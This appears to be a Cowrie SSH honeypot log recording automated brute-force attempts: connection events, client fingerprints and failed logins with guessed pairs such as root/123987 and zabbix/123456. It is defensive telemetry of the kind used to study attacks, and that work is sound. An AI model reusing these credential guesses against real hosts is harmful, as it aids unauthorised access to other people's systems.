{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:02.795361Z","src_ip":"83.168.110.85","session":"5378600e6b84","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user4","password":"user4","message":"login attempt [user4/user4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:03.377547Z","src_ip":"83.168.110.85","session":"5378600e6b84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:04.502065Z","src_ip":"83.168.110.85","session":"5378600e6b84","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":41066,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ab23207f115","protocol":"ssh","message":"New connection: 193.228.128.84:41066 (159.203.135.109:22) [session: 5ab23207f115]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:09.272932Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:09.277944Z","src_ip":"193.228.128.84","session":"5ab23207f115","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:09.380496Z","src_ip":"193.228.128.84","session":"5ab23207f115","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"alexey","message":"login attempt [root/alexey] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:09.685664Z","src_ip":"193.228.128.84","session":"5ab23207f115","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:10.789698Z","src_ip":"193.228.128.84","session":"5ab23207f115","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57958,"dst_ip":"159.203.135.109","dst_port":22,"session":"c3de27abd177","protocol":"ssh","message":"New connection: 83.168.110.85:57958 (159.203.135.109:22) [session: c3de27abd177]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:13.167341Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:13.404707Z","src_ip":"83.168.110.85","session":"c3de27abd177","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:13.409348Z","src_ip":"83.168.110.85","session":"c3de27abd177","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"123456","message":"login attempt [zabbix/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:13.937015Z","src_ip":"83.168.110.85","session":"c3de27abd177","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:15.061761Z","src_ip":"83.168.110.85","session":"c3de27abd177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":49154,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab2bebd1ad27","protocol":"ssh","message":"New connection: 83.168.110.85:49154 (159.203.135.109:22) [session: ab2bebd1ad27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:24.241635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:24.247732Z","src_ip":"83.168.110.85","session":"ab2bebd1ad27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":35306,"dst_ip":"10.17.0.5","dst_port":22,"session":"5dd00774a7eb","protocol":"ssh","message":"New connection: 194.59.206.2:35306 (10.17.0.5:22) [session: 5dd00774a7eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:24.290605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:24.297618Z","src_ip":"194.59.206.2","session":"5dd00774a7eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:24.369282Z","src_ip":"83.168.110.85","session":"ab2bebd1ad27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:24.383408Z","src_ip":"194.59.206.2","session":"5dd00774a7eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:24.473709Z","src_ip":"194.59.206.2","session":"5dd00774a7eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bot","password":"123456","message":"login attempt [bot/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:24.732174Z","src_ip":"83.168.110.85","session":"ab2bebd1ad27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:26.035815Z","src_ip":"83.168.110.85","session":"ab2bebd1ad27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.63.178","src_port":48218,"dst_ip":"10.17.0.5","dst_port":22,"session":"078e4047591e","protocol":"ssh","message":"New connection: 62.133.63.178:48218 (10.17.0.5:22) [session: 078e4047591e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:26.425442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:26.430234Z","src_ip":"62.133.63.178","session":"078e4047591e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:26.549775Z","src_ip":"62.133.63.178","session":"078e4047591e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123987","message":"login attempt [root/123987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:26.910121Z","src_ip":"62.133.63.178","session":"078e4047591e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:28.031764Z","src_ip":"62.133.63.178","session":"078e4047591e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.3.96.178","src_port":49286,"dst_ip":"10.17.0.5","dst_port":22,"session":"08277bab5d36","protocol":"ssh","message":"New connection: 79.3.96.178:49286 (10.17.0.5:22) [session: 08277bab5d36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:28.858512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:28.867923Z","src_ip":"79.3.96.178","session":"08277bab5d36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:29.013994Z","src_ip":"79.3.96.178","session":"08277bab5d36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"loot","message":"login attempt [root/loot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:29.624277Z","src_ip":"79.3.96.178","session":"08277bab5d36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:30.772332Z","src_ip":"79.3.96.178","session":"08277bab5d36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":55918,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cfffc1c79c2","protocol":"ssh","message":"New connection: 83.168.110.85:55918 (159.203.135.109:22) [session: 0cfffc1c79c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:34.803069Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:34.809010Z","src_ip":"83.168.110.85","session":"0cfffc1c79c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:34.925914Z","src_ip":"83.168.110.85","session":"0cfffc1c79c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:35.403640Z","src_ip":"83.168.110.85","session":"0cfffc1c79c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:36.667938Z","src_ip":"83.168.110.85","session":"0cfffc1c79c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":33932,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc9453a52bd6","protocol":"ssh","message":"New connection: 83.168.110.85:33932 (159.203.135.109:22) [session: cc9453a52bd6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:45.444464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:45.464408Z","src_ip":"83.168.110.85","session":"cc9453a52bd6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:13:45.570289Z","src_ip":"83.168.110.85","session":"cc9453a52bd6","protocol":"ssh"}
